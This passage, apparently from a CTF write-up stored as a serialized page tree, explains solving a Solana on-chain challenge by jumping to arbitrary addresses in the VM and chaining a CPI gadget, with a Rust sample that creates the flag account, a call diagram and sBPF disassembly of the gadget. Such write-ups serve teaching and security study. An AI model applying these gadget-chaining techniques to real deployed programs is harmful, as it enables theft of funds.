{:?}\"",{"type":20,"tag":315,"props":41423,"children":41424},{"style":328},[41425],{"type":26,"value":44},{"type":20,"tag":315,"props":41427,"children":41428},{"style":635},[41429],{"type":26,"value":41150},{"type":20,"tag":315,"props":41431,"children":41432},{"style":328},[41433],{"type":26,"value":1509},{"type":20,"tag":315,"props":41435,"children":41436},{"style":334},[41437],{"type":26,"value":1537},{"type":20,"tag":315,"props":41439,"children":41440},{"style":328},[41441],{"type":26,"value":1405},{"type":20,"tag":315,"props":41443,"children":41444},{"class":317,"line":453},[41445,41449,41453],{"type":20,"tag":315,"props":41446,"children":41447},{"style":328},[41448],{"type":26,"value":1692},{"type":20,"tag":315,"props":41450,"children":41451},{"style":525},[41452],{"type":26,"value":1087},{"type":20,"tag":315,"props":41454,"children":41455},{"style":328},[41456],{"type":26,"value":1092},{"type":20,"tag":315,"props":41458,"children":41459},{"class":317,"line":486},[41460,41464,41468,41472,41476,41481,41485,41489],{"type":20,"tag":315,"props":41461,"children":41462},{"style":345},[41463],{"type":26,"value":41404},{"type":20,"tag":315,"props":41465,"children":41466},{"style":328},[41467],{"type":26,"value":1049},{"type":20,"tag":315,"props":41469,"children":41470},{"style":635},[41471],{"type":26,"value":40356},{"type":20,"tag":315,"props":41473,"children":41474},{"style":328},[41475],{"type":26,"value":44},{"type":20,"tag":315,"props":41477,"children":41478},{"style":2652},[41479],{"type":26,"value":41480},"\"flag not found, please contact admin\"",{"type":20,"tag":315,"props":41482,"children":41483},{"style":328},[41484],{"type":26,"value":1509},{"type":20,"tag":315,"props":41486,"children":41487},{"style":334},[41488],{"type":26,"value":1537},{"type":20,"tag":315,"props":41490,"children":41491},{"style":328},[41492],{"type":26,"value":1405},{"type":20,"tag":315,"props":41494,"children":41495},{"class":317,"line":499},[41496],{"type":20,"tag":315,"props":41497,"children":41498},{"style":328},[41499],{"type":26,"value":1728},{"type":20,"tag":315,"props":41501,"children":41502},{"class":317,"line":513},[41503],{"type":20,"tag":315,"props":41504,"children":41505},{"style":328},[41506],{"type":26,"value":1736},{"type":20,"tag":315,"props":41508,"children":41509},{"class":317,"line":521},[41510],{"type":20,"tag":315,"props":41511,"children":41512},{"style":328},[41513],{"type":26,"value":577},{"type":20,"tag":21,"props":41515,"children":41517},{"id":41516},"solution-idea",[41518],{"type":26,"value":41519},"Solution Idea",{"type":20,"tag":29,"props":41521,"children":41522},{},[41523,41525,41530],{"type":26,"value":41524},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":20,"tag":119,"props":41526,"children":41528},{"className":41527},[],[41529],{"type":26,"value":34097},{"type":26,"value":41531}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":20,"tag":29,"props":41533,"children":41534},{},[41535,41537,41543],{"type":26,"value":41536},"In order to get the flag, we need to make sure that the account at ",{"type":20,"tag":119,"props":41538,"children":41540},{"className":41539},[],[41541],{"type":26,"value":41542},"PDA(\"FLAG\")",{"type":26,"value":41544}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":20,"tag":29,"props":41546,"children":41547},{},[41548,41550,41557],{"type":26,"value":41549},"Essentially, we need to ",{"type":20,"tag":35,"props":41551,"children":41554},{"href":41552,"rel":41553},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[39],[41555],{"type":26,"value":41556},"invoke the System Program",{"type":26,"value":41558},", and write controlled data into the newly created account.",{"type":20,"tag":29,"props":41560,"children":41561},{},[41562],{"type":26,"value":41563},"A sample program that does this is as follows:",{"type":20,"tag":305,"props":41565,"children":41567},{"className":1360,"code":41566,"language":1359,"meta":7,"style":7},"pub fn process_instruction(\n program_id: &Pubkey,\n accounts: &[AccountInfo],\n data: &[u8]\n) -> ProgramResult {\n let flag_pda_ai = &accounts[0];\n let user_ai = &accounts[1];\n\n // Step 1: Create a new account with 0x1337 bytes of data\n let instruction = Instruction::new_with_bincode(\n system_program::ID,\n &SystemInstruction::CreateAccount {\n space: 0x1337,\n lamports: Rent::default().minimum_balance(0x1337),\n owner: chall::ID\n },\n vec![\n AccountMeta::new(*user_ai.key, true),\n AccountMeta::new(*flag_pda_ai.key, true),\n ],\n );\n invoke_signed_unchecked(\n &instruction,\n &[\n user_ai.clone(),\n flag_pda_ai.clone(),\n ],\n &[&[\"FLAG\".as_ref()]],\n )?;\n\n // Step 2: Write 0x4337 to the first 8 bytes of the account\n flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n Ok(())\n}\n",[41568],{"type":20,"tag":119,"props":41569,"children":41570},{"__ignoreMap":7},[41571,41591,41615,41643,41671,41691,41727,41763,41770,41778,41811,41828,41853,41874,41926,41951,41958,41971,42017,42061,42069,42077,42088,42104,42115,42135,42155,42162,42198,42213,42220,42228,42307,42314,42325],{"type":20,"tag":315,"props":41572,"children":41573},{"class":317,"line":318},[41574,41578,41582,41587],{"type":20,"tag":315,"props":41575,"children":41576},{"style":541},[41577],{"type":26,"value":12091},{"type":20,"tag":315,"props":41579,"children":41580},{"style":541},[41581],{"type":26,"value":12096},{"type":20,"tag":315,"props":41583,"children":41584},{"style":345},[41585],{"type":26,"value":41586}," process_instruction",{"type":20,"tag":315,"props":41588,"children":41589},{"style":328},[41590],{"type":26,"value":353},{"type":20,"tag":315,"props":41592,"children":41593},{"class":317,"line":356},[41594,41599,41603,41607,41611],{"type":20,"tag":315,"props":41595,"children":41596},{"style":635},[41597],{"type":26,"value":41598}," program_id",{"type":20,"tag":315,"props":41600,"children":41601},{"style":334},[41602],{"type":26,"value":2884},{"type":20,"tag":315,"props":41604,"children":41605},{"style":334},[41606],{"type":26,"value":5536},{"type":20,"tag":315,"props":41608,"children":41609},{"style":322},[41610],{"type":26,"value":19802},{"type":20,"tag":315,"props":41612,"children":41613},{"style":328},[41614],{"type":26,"value":643},{"type":20,"tag":315,"props":41616,"children":41617},{"class":317,"line":365},[41618,41623,41627,41631,41635,41639],{"type":20,"tag":315,"props":41619,"children":41620},{"style":635},[41621],{"type":26,"value":41622}," accounts",{"type":20,"tag":315,"props":41624,"children":41625},{"style":334},[41626],{"type":26,"value":2884},{"type":20,"tag":315,"props":41628,"children":41629},{"style":334},[41630],{"type":26,"value":5536},{"type":20,"tag":315,"props":41632,"children":41633},{"style":328},[41634],{"type":26,"value":2117},{"type":20,"tag":315,"props":41636,"children":41637},{"style":322},[41638],{"type":26,"value":13339},{"type":20,"tag":315,"props":41640,"children":41641},{"style":328},[41642],{"type":26,"value":12664},{"type":20,"tag":315,"props":41644,"children":41645},{"class":317,"line":374},[41646,41651,41655,41659,41663,41667],{"type":20,"tag":315,"props":41647,"children":41648},{"style":635},[41649],{"type":26,"value":41650}," data",{"type":20,"tag":315,"props":41652,"children":41653},{"style":334},[41654],{"type":26,"value":2884},{"type":20,"tag":315,"props":41656,"children":41657},{"style":334},[41658],{"type":26,"value":5536},{"type":20,"tag":315,"props":41660,"children":41661},{"style":328},[41662],{"type":26,"value":2117},{"type":20,"tag":315,"props":41664,"children":41665},{"style":322},[41666],{"type":26,"value":1802},{"type":20,"tag":315,"props":41668,"children":41669},{"style":328},[41670],{"type":26,"value":10173},{"type":20,"tag":315,"props":41672,"children":41673},{"class":317,"line":383},[41674,41678,41682,41687],{"type":20,"tag":315,"props":41675,"children":41676},{"style":328},[41677],{"type":26,"value":1468},{"type":20,"tag":315,"props":41679,"children":41680},{"style":334},[41681],{"type":26,"value":12158},{"type":20,"tag":315,"props":41683,"children":41684},{"style":322},[41685],{"type":26,"value":41686}," ProgramResult",{"type":20,"tag":315,"props":41688,"children":41689},{"style":328},[41690],{"type":26,"value":1092},{"type":20,"tag":315,"props":41692,"children":41693},{"class":317,"line":407},[41694,41698,41703,41707,41711,41715,41719,41723],{"type":20,"tag":315,"props":41695,"children":41696},{"style":541},[41697],{"type":26,"value":1380},{"type":20,"tag":315,"props":41699,"children":41700},{"style":635},[41701],{"type":26,"value":41702}," flag_pda_ai",{"type":20,"tag":315,"props":41704,"children":41705},{"style":334},[41706],{"type":26,"value":1395},{"type":20,"tag":315,"props":41708,"children":41709},{"style":334},[41710],{"type":26,"value":5536},{"type":20,"tag":315,"props":41712,"children":41713},{"style":635},[41714],{"type":26,"value":13076},{"type":20,"tag":315,"props":41716,"children":41717},{"style":328},[41718],{"type":26,"value":2117},{"type":20,"tag":315,"props":41720,"children":41721},{"style":765},[41722],{"type":26,"value":1063},{"type":20,"tag":315,"props":41724,"children":41725},{"style":328},[41726],{"type":26,"value":29989},{"type":20,"tag":315,"props":41728,"children":41729},{"class":317,"line":421},[41730,41734,41739,41743,41747,41751,41755,41759],{"type":20,"tag":315,"props":41731,"children":41732},{"style":541},[41733],{"type":26,"value":1380},{"type":20,"tag":315,"props":41735,"children":41736},{"style":635},[41737],{"type":26,"value":41738}," user_ai",{"type":20,"tag":315,"props":41740,"children":41741},{"style":334},[41742],{"type":26,"value":1395},{"type":20,"tag":315,"props":41744,"children":41745},{"style":334},[41746],{"type":26,"value":5536},{"type":20,"tag":315,"props":41748,"children":41749},{"style":635},[41750],{"type":26,"value":13076},{"type":20,"tag":315,"props":41752,"children":41753},{"style":328},[41754],{"type":26,"value":2117},{"type":20,"tag":315,"props":41756,"children":41757},{"style":765},[41758],{"type":26,"value":2406},{"type":20,"tag":315,"props":41760,"children":41761},{"style":328},[41762],{"type":26,"value":29989},{"type":20,"tag":315,"props":41764,"children":41765},{"class":317,"line":430},[41766],{"type":20,"tag":315,"props":41767,"children":41768},{"emptyLinePlaceholder":15},[41769],{"type":26,"value":427},{"type":20,"tag":315,"props":41771,"children":41772},{"class":317,"line":453},[41773],{"type":20,"tag":315,"props":41774,"children":41775},{"style":1071},[41776],{"type":26,"value":41777}," // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":20,"tag":315,"props":41779,"children":41780},{"class":317,"line":486},[41781,41785,41790,41794,41798,41802,41807],{"type":20,"tag":315,"props":41782,"children":41783},{"style":541},[41784],{"type":26,"value":1380},{"type":20,"tag":315,"props":41786,"children":41787},{"style":635},[41788],{"type":26,"value":41789}," instruction",{"type":20,"tag":315,"props":41791,"children":41792},{"style":334},[41793],{"type":26,"value":1395},{"type":20,"tag":315,"props":41795,"children":41796},{"style":322},[41797],{"type":26,"value":39429},{"type":20,"tag":315,"props":41799,"children":41800},{"style":334},[41801],{"type":26,"value":1861},{"type":20,"tag":315,"props":41803,"children":41804},{"style":345},[41805],{"type":26,"value":41806},"new_with_bincode",{"type":20,"tag":315,"props":41808,"children":41809},{"style":328},[41810],{"type":26,"value":353},{"type":20,"tag":315,"props":41812,"children":41813},{"class":317,"line":499},[41814,41819,41823],{"type":20,"tag":315,"props":41815,"children":41816},{"style":328},[41817],{"type":26,"value":41818}," system_program",{"type":20,"tag":315,"props":41820,"children":41821},{"style":334},[41822],{"type":26,"value":1861},{"type":20,"tag":315,"props":41824,"children":41825},{"style":328},[41826],{"type":26,"value":41827},"ID,\n",{"type":20,"tag":315,"props":41829,"children":41830},{"class":317,"line":513},[41831,41835,41840,41844,41849],{"type":20,"tag":315,"props":41832,"children":41833},{"style":334},[41834],{"type":26,"value":1851},{"type":20,"tag":315,"props":41836,"children":41837},{"style":328},[41838],{"type":26,"value":41839},"SystemInstruction",{"type":20,"tag":315,"props":41841,"children":41842},{"style":334},[41843],{"type":26,"value":1861},{"type":20,"tag":315,"props":41845,"children":41846},{"style":322},[41847],{"type":26,"value":41848},"CreateAccount",{"type":20,"tag":315,"props":41850,"children":41851},{"style":328},[41852],{"type":26,"value":1092},{"type":20,"tag":315,"props":41854,"children":41855},{"class":317,"line":521},[41856,41861,41865,41870],{"type":20,"tag":315,"props":41857,"children":41858},{"style":635},[41859],{"type":26,"value":41860}," space",{"type":20,"tag":315,"props":41862,"children":41863},{"style":334},[41864],{"type":26,"value":2884},{"type":20,"tag":315,"props":41866,"children":41867},{"style":765},[41868],{"type":26,"value":41869}," 0x1337",{"type":20,"tag":315,"props":41871,"children":41872},{"style":328},[41873],{"type":26,"value":643},{"type":20,"tag":315,"props":41875,"children":41876},{"class":317,"line":552},[41877,41882,41886,41891,41895,41900,41904,41908,41913,41917,41922],{"type":20,"tag":315,"props":41878,"children":41879},{"style":635},[41880],{"type":26,"value":41881}," lamports",{"type":20,"tag":315,"props":41883,"children":41884},{"style":334},[41885],{"type":26,"value":2884},{"type":20,"tag":315,"props":41887,"children":41888},{"style":328},[41889],{"type":26,"value":41890}," Rent",{"type":20,"tag":315,"props":41892,"children":41893},{"style":334},[41894],{"type":26,"value":1861},{"type":20,"tag":315,"props":41896,"children":41897},{"style":345},[41898],{"type":26,"value":41899},"default",{"type":20,"tag":315,"props":41901,"children":41902},{"style":328},[41903],{"type":26,"value":12280},{"type":20,"tag":315,"props":41905,"children":41906},{"style":334},[41907],{"type":26,"value":61},{"type":20,"tag":315,"props":41909,"children":41910},{"style":345},[41911],{"type":26,"value":41912},"minimum_balance",{"type":20,"tag":315,"props":41914,"children":41915},{"style":328},[41916],{"type":26,"value":1049},{"type":20,"tag":315,"props":41918,"children":41919},{"style":765},[41920],{"type":26,"value":41921},"0x1337",{"type":20,"tag":315,"props":41923,"children":41924},{"style":328},[41925],{"type":26,"value":5131},{"type":20,"tag":315,"props":41927,"children":41928},{"class":317,"line":571},[41929,41934,41938,41942,41946],{"type":20,"tag":315,"props":41930,"children":41931},{"style":635},[41932],{"type":26,"value":41933}," owner",{"type":20,"tag":315,"props":41935,"children":41936},{"style":334},[41937],{"type":26,"value":2884},{"type":20,"tag":315,"props":41939,"children":41940},{"style":328},[41941],{"type":26,"value":40461},{"type":20,"tag":315,"props":41943,"children":41944},{"style":334},[41945],{"type":26,"value":1861},{"type":20,"tag":315,"props":41947,"children":41948},{"style":328},[41949],{"type":26,"value":41950},"ID\n",{"type":20,"tag":315,"props":41952,"children":41953},{"class":317,"line":2031},[41954],{"type":20,"tag":315,"props":41955,"children":41956},{"style":328},[41957],{"type":26,"value":23789},{"type":20,"tag":315,"props":41959,"children":41960},{"class":317,"line":2053},[41961,41966],{"type":20,"tag":315,"props":41962,"children":41963},{"style":345},[41964],{"type":26,"value":41965}," vec!",{"type":20,"tag":315,"props":41967,"children":41968},{"style":328},[41969],{"type":26,"value":41970},"[\n",{"type":20,"tag":315,"props":41972,"children":41973},{"class":317,"line":2061},[41974,41979,41983,41987,41991,41995,42000,42004,42009,42013],{"type":20,"tag":315,"props":41975,"children":41976},{"style":328},[41977],{"type":26,"value":41978}," AccountMeta",{"type":20,"tag":315,"props":41980,"children":41981},{"style":334},[41982],{"type":26,"value":1861},{"type":20,"tag":315,"props":41984,"children":41985},{"style":345},[41986],{"type":26,"value":13523},{"type":20,"tag":315,"props":41988,"children":41989},{"style":328},[41990],{"type":26,"value":1049},{"type":20,"tag":315,"props":41992,"children":41993},{"style":334},[41994],{"type":26,"value":901},{"type":20,"tag":315,"props":41996,"children":41997},{"style":635},[41998],{"type":26,"value":41999},"user_ai",{"type":20,"tag":315,"props":42001,"children":42002},{"style":334},[42003],{"type":26,"value":61},{"type":20,"tag":315,"props":42005,"children":42006},{"style":328},[42007],{"type":26,"value":42008},"key, ",{"type":20,"tag":315,"props":42010,"children":42011},{"style":541},[42012],{"type":26,"value":2387},{"type":20,"tag":315,"props":42014,"children":42015},{"style":328},[42016],{"type":26,"value":5131},{"type":20,"tag":315,"props":42018,"children":42019},{"class":317,"line":2070},[42020,42024,42028,42032,42036,42040,42045,42049,42053,42057],{"type":20,"tag":315,"props":42021,"children":42022},{"style":328},[42023],{"type":26,"value":41978},{"type":20,"tag":315,"props":42025,"children":42026},{"style":334},[42027],{"type":26,"value":1861},{"type":20,"tag":315,"props":42029,"children":42030},{"style":345},[42031],{"type":26,"value":13523},{"type":20,"tag":315,"props":42033,"children":42034},{"style":328},[42035],{"type":26,"value":1049},{"type":20,"tag":315,"props":42037,"children":42038},{"style":334},[42039],{"type":26,"value":901},{"type":20,"tag":315,"props":42041,"children":42042},{"style":635},[42043],{"type":26,"value":42044},"flag_pda_ai",{"type":20,"tag":315,"props":42046,"children":42047},{"style":334},[42048],{"type":26,"value":61},{"type":20,"tag":315,"props":42050,"children":42051},{"style":328},[42052],{"type":26,"value":42008},{"type":20,"tag":315,"props":42054,"children":42055},{"style":541},[42056],{"type":26,"value":2387},{"type":20,"tag":315,"props":42058,"children":42059},{"style":328},[42060],{"type":26,"value":5131},{"type":20,"tag":315,"props":42062,"children":42063},{"class":317,"line":2139},[42064],{"type":20,"tag":315,"props":42065,"children":42066},{"style":328},[42067],{"type":26,"value":42068}," ],\n",{"type":20,"tag":315,"props":42070,"children":42071},{"class":317,"line":2147},[42072],{"type":20,"tag":315,"props":42073,"children":42074},{"style":328},[42075],{"type":26,"value":42076}," );\n",{"type":20,"tag":315,"props":42078,"children":42079},{"class":317,"line":2177},[42080,42084],{"type":20,"tag":315,"props":42081,"children":42082},{"style":345},[42083],{"type":26,"value":39546},{"type":20,"tag":315,"props":42085,"children":42086},{"style":328},[42087],{"type":26,"value":353},{"type":20,"tag":315,"props":42089,"children":42090},{"class":317,"line":2185},[42091,42095,42100],{"type":20,"tag":315,"props":42092,"children":42093},{"style":334},[42094],{"type":26,"value":1851},{"type":20,"tag":315,"props":42096,"children":42097},{"style":635},[42098],{"type":26,"value":42099},"instruction",{"type":20,"tag":315,"props":42101,"children":42102},{"style":328},[42103],{"type":26,"value":643},{"type":20,"tag":315,"props":42105,"children":42106},{"class":317,"line":2217},[42107,42111],{"type":20,"tag":315,"props":42108,"children":42109},{"style":334},[42110],{"type":26,"value":1851},{"type":20,"tag":315,"props":42112,"children":42113},{"style":328},[42114],{"type":26,"value":41970},{"type":20,"tag":315,"props":42116,"children":42117},{"class":317,"line":2225},[42118,42123,42127,42131],{"type":20,"tag":315,"props":42119,"children":42120},{"style":635},[42121],{"type":26,"value":42122}," user_ai",{"type":20,"tag":315,"props":42124,"children":42125},{"style":334},[42126],{"type":26,"value":61},{"type":20,"tag":315,"props":42128,"children":42129},{"style":345},[42130],{"type":26,"value":13821},{"type":20,"tag":315,"props":42132,"children":42133},{"style":328},[42134],{"type":26,"value":1871},{"type":20,"tag":315,"props":42136,"children":42137},{"class":317,"line":2285},[42138,42143,42147,42151],{"type":20,"tag":315,"props":42139,"children":42140},{"style":635},[42141],{"type":26,"value":42142}," flag_pda_ai",{"type":20,"tag":315,"props":42144,"children":42145},{"style":334},[42146],{"type":26,"value":61},{"type":20,"tag":315,"props":42148,"children":42149},{"style":345},[42150],{"type":26,"value":13821},{"type":20,"tag":315,"props":42152,"children":42153},{"style":328},[42154],{"type":26,"value":1871},{"type":20,"tag":315,"props":42156,"children":42157},{"class":317,"line":7444},[42158],{"type":20,"tag":315,"props":42159,"children":42160},{"style":328},[42161],{"type":26,"value":42068},{"type":20,"tag":315,"props":42163,"children":42164},{"class":317,"line":7462},[42165,42169,42173,42177,42181,42185,42189,42193],{"type":20,"tag":315,"props":42166,"children":42167},{"style":334},[42168],{"type":26,"value":1851},{"type":20,"tag":315,"props":42170,"children":42171},{"style":328},[42172],{"type":26,"value":2117},{"type":20,"tag":315,"props":42174,"children":42175},{"style":334},[42176],{"type":26,"value":1490},{"type":20,"tag":315,"props":42178,"children":42179},{"style":328},[42180],{"type":26,"value":2117},{"type":20,"tag":315,"props":42182,"children":42183},{"style":2652},[42184],{"type":26,"value":41041},{"type":20,"tag":315,"props":42186,"children":42187},{"style":334},[42188],{"type":26,"value":61},{"type":20,"tag":315,"props":42190,"children":42191},{"style":345},[42192],{"type":26,"value":41050},{"type":20,"tag":315,"props":42194,"children":42195},{"style":328},[42196],{"type":26,"value":42197},"()]],\n",{"type":20,"tag":315,"props":42199,"children":42200},{"class":317,"line":7507},[42201,42205,42209],{"type":20,"tag":315,"props":42202,"children":42203},{"style":328},[42204],{"type":26,"value":2037},{"type":20,"tag":315,"props":42206,"children":42207},{"style":334},[42208],{"type":26,"value":1537},{"type":20,"tag":315,"props":42210,"children":42211},{"style":328},[42212],{"type":26,"value":1405},{"type":20,"tag":315,"props":42214,"children":42215},{"class":317,"line":7613},[42216],{"type":20,"tag":315,"props":42217,"children":42218},{"emptyLinePlaceholder":15},[42219],{"type":26,"value":427},{"type":20,"tag":315,"props":42221,"children":42222},{"class":317,"line":21914},[42223],{"type":20,"tag":315,"props":42224,"children":42225},{"style":1071},[42226],{"type":26,"value":42227}," // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":20,"tag":315,"props":42229,"children":42230},{"class":317,"line":21949},[42231,42236,42240,42244,42248,42252,42256,42260,42264,42268,42272,42277,42281,42285,42290,42294,42298,42303],{"type":20,"tag":315,"props":42232,"children":42233},{"style":635},[42234],{"type":26,"value":42235}," flag_pda_ai",{"type":20,"tag":315,"props":42237,"children":42238},{"style":334},[42239],{"type":26,"value":61},{"type":20,"tag":315,"props":42241,"children":42242},{"style":345},[42243],{"type":26,"value":12275},{"type":20,"tag":315,"props":42245,"children":42246},{"style":328},[42247],{"type":26,"value":12280},{"type":20,"tag":315,"props":42249,"children":42250},{"style":334},[42251],{"type":26,"value":1537},{"type":20,"tag":315,"props":42253,"children":42254},{"style":328},[42255],{"type":26,"value":2117},{"type":20,"tag":315,"props":42257,"children":42258},{"style":334},[42259],{"type":26,"value":1432},{"type":20,"tag":315,"props":42261,"children":42262},{"style":765},[42263],{"type":26,"value":2469},{"type":20,"tag":315,"props":42265,"children":42266},{"style":328},[42267],{"type":26,"value":13812},{"type":20,"tag":315,"props":42269,"children":42270},{"style":334},[42271],{"type":26,"value":61},{"type":20,"tag":315,"props":42273,"children":42274},{"style":345},[42275],{"type":26,"value":42276},"copy_from_slice",{"type":20,"tag":315,"props":42278,"children":42279},{"style":328},[42280],{"type":26,"value":1049},{"type":20,"tag":315,"props":42282,"children":42283},{"style":334},[42284],{"type":26,"value":1490},{"type":20,"tag":315,"props":42286,"children":42287},{"style":765},[42288],{"type":26,"value":42289},"0x4337",{"type":20,"tag":315,"props":42291,"children":42292},{"style":322},[42293],{"type":26,"value":6438},{"type":20,"tag":315,"props":42295,"children":42296},{"style":334},[42297],{"type":26,"value":61},{"type":20,"tag":315,"props":42299,"children":42300},{"style":345},[42301],{"type":26,"value":42302},"to_le_bytes",{"type":20,"tag":315,"props":42304,"children":42305},{"style":328},[42306],{"type":26,"value":13826},{"type":20,"tag":315,"props":42308,"children":42309},{"class":317,"line":21957},[42310],{"type":20,"tag":315,"props":42311,"children":42312},{"emptyLinePlaceholder":15},[42313],{"type":26,"value":427},{"type":20,"tag":315,"props":42315,"children":42316},{"class":317,"line":21965},[42317,42321],{"type":20,"tag":315,"props":42318,"children":42319},{"style":322},[42320],{"type":26,"value":12734},{"type":20,"tag":315,"props":42322,"children":42323},{"style":328},[42324],{"type":26,"value":12739},{"type":20,"tag":315,"props":42326,"children":42327},{"class":317,"line":21974},[42328],{"type":20,"tag":315,"props":42329,"children":42330},{"style":328},[42331],{"type":26,"value":577},{"type":20,"tag":29,"props":42333,"children":42334},{},[42335],{"type":26,"value":42336},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":20,"tag":29,"props":42338,"children":42339},{},[42340],{"type":20,"tag":2308,"props":42341,"children":42344},{"alt":42342,"src":42343},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":20,"tag":29,"props":42346,"children":42347},{},[42348],{"type":26,"value":42349},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":20,"tag":21,"props":42351,"children":42353},{"id":42352},"solution-implementation",[42354],{"type":26,"value":42355},"Solution Implementation",{"type":20,"tag":29,"props":42357,"children":42358},{},[42359,42361,42366],{"type":26,"value":42360},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":20,"tag":119,"props":42362,"children":42364},{"className":42363},[],[42365],{"type":26,"value":34097},{"type":26,"value":42367}," invocations:",{"type":20,"tag":305,"props":42369,"children":42373},{"className":42370,"code":42371,"language":42372,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: gadget1]\n C --> E[3: process]\n E --> F[4: gadget2]\n E --> G[...]\n","mermaid",[42374],{"type":20,"tag":119,"props":42375,"children":42376},{"__ignoreMap":7},[42377,42385,42393,42401,42409,42417,42425],{"type":20,"tag":315,"props":42378,"children":42379},{"class":317,"line":318},[42380],{"type":20,"tag":315,"props":42381,"children":42382},{},[42383],{"type":26,"value":42384},"graph LR\n",{"type":20,"tag":315,"props":42386,"children":42387},{"class":317,"line":356},[42388],{"type":20,"tag":315,"props":42389,"children":42390},{},[42391],{"type":26,"value":42392}," A[0: entrypoint] --> B[1: process_instruction]\n",{"type":20,"tag":315,"props":42394,"children":42395},{"class":317,"line":365},[42396],{"type":20,"tag":315,"props":42397,"children":42398},{},[42399],{"type":26,"value":42400}," B --> C[2: process]\n",{"type":20,"tag":315,"props":42402,"children":42403},{"class":317,"line":374},[42404],{"type":20,"tag":315,"props":42405,"children":42406},{},[42407],{"type":26,"value":42408}," C --> D[3: gadget1]\n",{"type":20,"tag":315,"props":42410,"children":42411},{"class":317,"line":383},[42412],{"type":20,"tag":315,"props":42413,"children":42414},{},[42415],{"type":26,"value":42416}," C --> E[3: process]\n",{"type":20,"tag":315,"props":42418,"children":42419},{"class":317,"line":407},[42420],{"type":20,"tag":315,"props":42421,"children":42422},{},[42423],{"type":26,"value":42424}," E --> F[4: gadget2]\n",{"type":20,"tag":315,"props":42426,"children":42427},{"class":317,"line":421},[42428],{"type":20,"tag":315,"props":42429,"children":42430},{},[42431],{"type":26,"value":42432}," E --> G[...]\n",{"type":20,"tag":29,"props":42434,"children":42435},{},[42436],{"type":26,"value":42437},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":20,"tag":29,"props":42439,"children":42440},{},[42441,42443,42449],{"type":26,"value":42442},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":20,"tag":35,"props":42444,"children":42446},{"href":38904,"rel":42445},[39],[42447],{"type":26,"value":42448},"Binary Ninja",{"type":26,"value":42450}," to find a suitable gadget for this.",{"type":20,"tag":29,"props":42452,"children":42453},{},[42454,42456,42463],{"type":26,"value":42455},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":20,"tag":35,"props":42457,"children":42460},{"href":42458,"rel":42459},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[39],[42461],{"type":26,"value":42462},"skip the strip pass",{"type":26,"value":61},{"type":20,"tag":219,"props":42465,"children":42467},{"id":42466},"cpi-gadget",[42468],{"type":26,"value":42469},"CPI Gadget",{"type":20,"tag":29,"props":42471,"children":42472},{},[42473,42475,42480,42482,42489,42491,42497],{"type":26,"value":42474},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":20,"tag":119,"props":42476,"children":42478},{"className":42477},[],[42479],{"type":26,"value":36712},{"type":26,"value":42481}," function. This function calls into the solana sdk's function ",{"type":20,"tag":35,"props":42483,"children":42486},{"href":42484,"rel":42485},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[39],[42487],{"type":26,"value":42488},"invoke_signed_unchecked",{"type":26,"value":42490},", yielding a powerful gadget at the address ",{"type":20,"tag":119,"props":42492,"children":42494},{"className":42493},[],[42495],{"type":26,"value":42496},"0x100001ba8",{"type":26,"value":61},{"type":20,"tag":305,"props":42499,"children":42501},{"className":1360,"code":42500,"language":1359,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8 79a278ff00000000 ldxdw r2, [r10-136] {var_88}\n100001bb0 79a380ff00000000 ldxdw r3, [r10-128] {var_80}\n100001bb8 79a468ff00000000 ldxdw r4, [r10-152] {var_98}\n100001bc0 79a570ff00000000 ldxdw r5, [r10-144] {var_90}\n100001bc8 8520000020100000 call sol_invoke_signed_rust\n100001bd0 5500040000000000 jne \u003C+4> r0, 0x0\n\n100001bd8 b701000018000000 mov r1, 0x18\n100001be0 79a288ff00000000 ldxdw r2, [r10-120] {var_78}\n100001be8 6312000000000000 stxw [r2-0], r1 {0x18}\n100001bf0 0500030000000000 ja \u003C+3>\n\n100001bf8 79a188ff00000000 ldxdw r1, [r10-120] {var_78}\n100001c00 bf02000000000000 mov r2, r0\n100001c08 8510000075000000 call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10 79a2b8ff00000000 ldxdw r2, [r10-72] {var_48}\n100001c18 1502040000000000 jeq \u003C+4> r2, 0x0\n\n100001c20 2702000022000000 mul r2, 0x22\n100001c28 79a1b0ff00000000 ldxdw r1, [r10-80] {var_50}\n100001c30 b703000001000000 mov r3, 0x1\n100001c38 8510000003feffff call __rust_dealloc\n\n100001c40 79a2d0ff00000000 ldxdw r2, [r10-48] {var_30}\n100001c48 1502030000000000 jeq \u003C+3> r2, 0x0\n\n100001c50 79a1c8ff00000000 ldxdw r1, [r10-56] {var_38}\n100001c58 b703000001000000 mov r3, 0x1\n100001c60 85100000fefdffff call __rust_dealloc\n\n100001c68 9500000000000000 exit 